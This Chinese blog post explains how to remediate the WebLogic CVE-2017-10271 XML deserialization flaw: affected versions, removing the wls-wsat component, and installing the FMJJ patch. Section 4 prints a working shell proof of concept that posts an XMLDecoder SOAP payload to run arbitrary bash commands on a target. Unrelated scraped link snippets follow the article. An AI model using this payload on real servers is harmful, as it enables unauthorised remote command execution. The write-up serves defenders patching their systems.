1.简介

CVE-2017-10271是weblogic wls-wsat组件的一个xml反序列化漏洞,可造成远程命令执行。更详细分析可见参考链接,本文强调在进行参考链接修复中的一些细节。

2.影响版本

OracleWebLogic Server10.3.6.0.0
OracleWebLogic Server12.1.3.0.0
OracleWebLogic Server12.2.1.1.0
OracleWebLogic Server12.2.1.2.0

打了B25A及其之前版本的补丁都没用,需要打2017年10月的补丁(FMJJ)

(实际检测发现weblogic 10.3.5.0版本也存在该漏洞,但官方并没有指出该版本也未提供该版本的补丁下载,对于该版本只好使用下边的临时办法进行处理)

3.处理办法

3.1方法一:临时处理办法

删除wls-wsat组件,然后重启weblogic(weblogic安装路径和domain名等根据自己实际情况修改)

  1. rm -f /home/WebLogic/Oracle/Middleware/wlserver_10./server/lib/wls-wsat.war
  2. rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
  3. rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
  4. cd /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/bin
  5. ./stopWebLogic.sh
  6. ./startWebLogic.sh &

说明:

1.一定要把前两个文件删掉再重启,只删其中一个或者删了一个重启后再删另外一个都是不能修复。原理上是在启动时1会复制到2,然后2会被缓存到内存(不是3)。如果只删除2那再启动时又复制回来显然没效果;如果只删除1那重启时2并不会被清除,所以还是没效果;如果重启完再删除由于已缓存到内存所以也没效果。缓存到内存只是我的猜测,因为实践测试就是启了再删漏洞还是未修复而在磁盘上又找不到vm-wsat组件在哪。

2.第三个文件不懂是什么只是各说明都要要删然后确实也是vm-wsat所以这里也删了,实践来看不删也修复了的。

3.删了这几个文件(夹)后需要重启才能生效。只删不重启效果和1中所说的重启了再删结果一样的,内存中还有缓存漏洞还是没修复。

4.vm-wsat在所有server都会部署,所以所有控制台和所有server都需要重启。

5.直接的验证方法是访问,http://192.168.220.128:9000/wls-wsat/CoordinatorPortType11(ip和端口改成自己的),如是404则说明已成功删除。如果类似下面结果则未成功删除

3.2方法二:打补丁

官网下载p26519424_1036_Generic.zip(FMJJ)打上即可(下载补丁需要登录账号,且该账号要已购买服务)

  1. cd /home/WebLogic/Oracle/Middleware/utils/bsu #进入bsu目录
  2. mkdir -p cache_dir/backup #创建backup目录用于备份
  3. mv cache_dir/* cache_dir/backup #确保cache_dir下原来没有补丁
  4. unzip p26519424_1036_Generic.zip -d /home/WebLogic/Oracle/Middleware/utils/bsu/cache_dir #将补丁解压到cache_dir
  5. mv cache_dir/patch-catalog_25504.xml cache_dir/patch-catalog.xml #重命名patch-catalog
  6. ./bsu.sh -install -patchlist=FMJJ -patch_download_dir=./cache_dir/ -prod_dir=../../wlserver_10.3/ #打FMJJ补丁

如果之前打了B25A等补丁直接打会报冲突Patch FMJJ is mutually exclusive and cannot coexist with patch(es): B25A,先将B25A等冲突的补丁卸载即可(weblogic新补丁包含之前补丁的更改可放心卸载)。

  1. ./bsu.sh -remove -patchlist=B25A -prod_dir=../../wlserver_10./

说明:

1有人说要找windows版weblogic的补丁,实际操作来看windows和linux上的weblogic都用同一个补丁包的,并没有linux版补丁和windows版补丁的说法。

2关于打补丁时要不要停weblogic,按习惯是都先停了再打,但是按实际试验看不停就打除了打时服务可能会卡一点外功能也都正常。从原理上看,安装补丁的过程是归档有问题的文件然后使用新文件替代;卸载补丁的过程是移除该补丁相关的文件然后从归档文件中还原原先的文件,从这角度上看不会造成功能缺失。由于前述的缓存到内存所以功能未重启前功能也正常。

3打了补丁之后一样要重启weblogic才能生效,这是验证过的。

4打补丁后不要使用访问http://192.168.220.128:9000/wls-wsat/CoordinatorPortType11看是否存在来判断漏洞是否修复,补丁是从代码修复了漏洞而不是删除了CoordinatorPortType所以打补丁后这个页面肯定还是存在的。

4.POC

严谨的安全工作者,讲究“no exp say jb”,以下是一个linux shell版本,在本地CentOS服务器上验证通过

  1. IP=192.168.220.128 #要检测的主机IP
  2. PORT=9000 #要检测的主机端口
  3. COMMAND='find . -name "war" -exec touch {}/poc.jsp \;' #此为要远程执行的命令;weblogic工作目录为domain目录,此句远程无差别地在所有war目录下创建poc.jsp文件
  4.  
  5. XML_PAYLOAD_PRE='<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  6. <soapenv:Header>
  7. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  8. <java version="1.8.0_131" class="java.beans.XMLDecoder">
  9. <void class="java.lang.ProcessBuilder">
  10. <array class="java.lang.String" length="">
  11. <void index="">
  12. <string>/bin/bash</string>
  13. </void>
  14. <void index="">
  15. <string>-c</string>
  16. </void>
  17. <void index="">
  18. '
  19. XML_PAYLOAD_MID="<string>${COMMAND}</string>" #由于没有找到更好的办法拼接,只要将payload先分割成了前中后三段
  20.  
  21. XML_PAYLOAD_POST='
  22. </void>
  23. </array>
  24. <void method="start"/>
  25. </void>
  26. </java>
  27. </work:WorkContext>
  28. </soapenv:Header>
  29. <soapenv:Body/>
  30. </soapenv:Envelope>'
  31.  
  32. XML_PAYLOAD="${XML_PAYLOAD_PRE}${XML_PAYLOAD_MID}${XML_PAYLOAD_POST}" #拼接payload
  33.  
  34. echo "${XML_PAYLOAD}" | curl -X POST -H 'Content-type:text/xml' -d @- http://$IP:$PORT/wls-wsat/CoordinatorPortType #使用curl post提交payload
  35.  
  36. RESPOND_CODE=`curl -I -s -w "%{http_code}\n" -o /dev/null http://$IP:$PORT/wls-wsat/poc.jsp` #访问poc文件,以其是否成功创建来判断命令是否成功执行
  37.  
  38. if [ $RESPOND_CODE == ]
  39. then
  40. echo "RESPOND_CODE = ${RESPOND_CODE}, $IP:$PORT exist cve-2017-10271"
  41. elif [ $RESPOND_CODE == ]
  42. then
  43. echo "RESPOND_CODE = ${RESPOND_CODE}, $IP:$PORT do not exist cve-2017-10271"
  44. else
  45. echo "RESPOND_CODE = ${RESPOND_CODE}, i do not know what does it means"
  46. fi

也可以到github上找找,看了一下意思都大同小异

https://github.com/search?utf8=%E2%9C%93&q=CVE-2017-10271&type=

参考:

http://www.cnvd.org.cn/webinfo/show/4331

http://blog.nsfocus.net/weblogic-solution/

http://blog.nsfocus.net/weblogic-xmldecoder-rce/

http://www.mamicode.com/info-detail-1367368.html
http://blog.csdn.net/hongweigg/article/details/77948664
https://www.cnblogs.com/jing1617/p/6442640.html

https://github.com/iBearcat/Oracle-WebLogic-CVE-2017-10271

weblogic CVE-2017-10271修复教程的更多相关文章

  1. UEFI引导修复教程和工具

    参考 http://bbs.wuyou.com/forum.php?mod=viewthread&tid=323759 1. MBR分区表:Master Boot Record,即硬盘主引导记 ...

  2. Visual Studio 2019/2017 安装使用教程(快速上手版)

    目录 Visual Studio 2017 安装使用教程(详细) 在此鸣谢范华对本文工作的大力支持 一.下载 二.安装 2017版本新建项目过程 2019版本新建项目过程 然后你就可以简单编写一段代码 ...

  3. 【最强】微软Tech Summit 2017动手实验室教程

    [最强]微软Tech Summit 2017动手实验室教程 原创 2017-11-07 MSPrecious MSPrecious成长荟 这是! 你绝对找不到的教程! Ignite2016的教程你找到 ...

  4. U盘修复教程--使用量产工具和芯片检测工具

    U盘修复教程(金士顿DT101) 本教程使用量产工具(量产可理解为强制恢复出厂设置),量产有风险(U盘彻底报废),根据教程所造成所有损失均与本文作者无关. ·第一步:下载ChipGenius_v4_0 ...

  5. Weblogic服务端请求伪造漏洞(SSRF)和反射型跨站请求伪造漏洞(CSS)修复教程

    一.服务端请求伪造漏洞 服务端请求伪造(Server-Side Request Forgery),是指Web服务提供从用户指定的URL读取数据并展示功能又未对用户输入的URL进行过滤,导致攻击者可借助 ...

  6. Chargen UDP服务远程拒绝服务攻击漏洞修复教程

    一.前置说明 chargen服务最初设计用于测试网络状态,监听19端口(包括TCP和UDP),其中UDP协议存在“Chargen UDP服务远程拒绝服务攻击漏洞”. chargen一般不会使用,所以直 ...

  7. myeclipse 2017破解安装教程+开发环境部署(jdk+tomcat)

    点击安装包,进入安装界面,点击next 选择接受协议,点击next 选择安装目录,点击next 格局自己电脑的机型选择32bit或64bit,点击next 安装完成后不要运行MyEclipse,将 & ...

  8. 2017最新修复福运来完整运营中时时彩源码PC+手机版本功能齐全

    QQ:1395239152 2017-3.14最新修复福运来完整运营版时时彩源码PC+手机版本功能齐全 使用php+mysql开发,并带有完整数据库.截图!!!  注意哈  带手机版  以下截图均为测 ...

  9. 【Weblogic】linux下weblogic新建domain(入门教程)

    找到weblogic下的/common/bin目录,/home/weblogic/Oracle/Middleware/wlserver_10.3/common/bin ./config.sh -mod ...

随机推荐

  1. Ubuntu18.04下安装MySQL

    Ubuntu上安装MySQL非常简单只需要几条命令就可以完成. 1. sudo apt-get install mysql-server 2. apt-get isntall mysql-client ...

  2. 正则获取 某段 DIV 中 的内容

    string html = "<div class='aa'><div class='left'>324324<div>dsfsdf</div> ...

  3. VC.文件时间

    1. #include <stdio.h> #include <windows.h> void GetFileTimeZ(char *_pcFullFileName, FILE ...

  4. [转][linux]简单的linux下的tcp/udp

    转自:https://blog.csdn.net/cabing2005/article/details/53068880 详细函数以及参数解释请看原链接. windows下的tcp/udp参考:htt ...

  5. Android自定义权限

    一.自定义权限 自定义权限,一般是考虑到应用共享组件时的安全问题.我们知道在四大组件 AndroidManifest 中注册的时候,添加 exported = "true" 这一属 ...

  6. RedHat/CentOS根目录扩容

    下面以redhat为例,介绍如何扩容系统根目录,CentOS也是一样的. 1. 登录到系统中,查看硬盘情况. /dev/sdb就是增加的硬盘. [root@test ~]# fdisk -l 2. 操 ...

  7. word空白页怎么删除

    最简单的,直接按键盘上的BackSpace或者Delete键,来进行删除.  分页符过到.打开“编辑”-->替换-->高级-->特殊字符-->手工分页符-->“全部替换” ...

  8. spring cloud: zuul(五): prefix访问前缀, ignoredServices粗粒度访问, yml不起作用

    路由的前缀 - 问题 zuul.prefix: 我们可以指定一个全局的前缀 strip-prefix: 是否将这个代理前缀去掉 zuul: prefix: /ecom 我的eureka:http:// ...

  9. 如何有效地使用t-SNE | How to Use t-SNE Effectively

    熟练使用PCA和tSNE,彻底理解底层的原理是非常有必要的. 参考:How to Use t-SNE Effectively Real-time tSNE Visualizations with Te ...

  10. English trip V1 - B 14. There Are Flowers in My Office 我办公室里有花 Teacher:Lamb Key: There be(is/are)

    In this lesson you will learn to describe a room or place. 这节课讲学习描述一个房间或地方 课上内容(Lesson) 1. Where do ...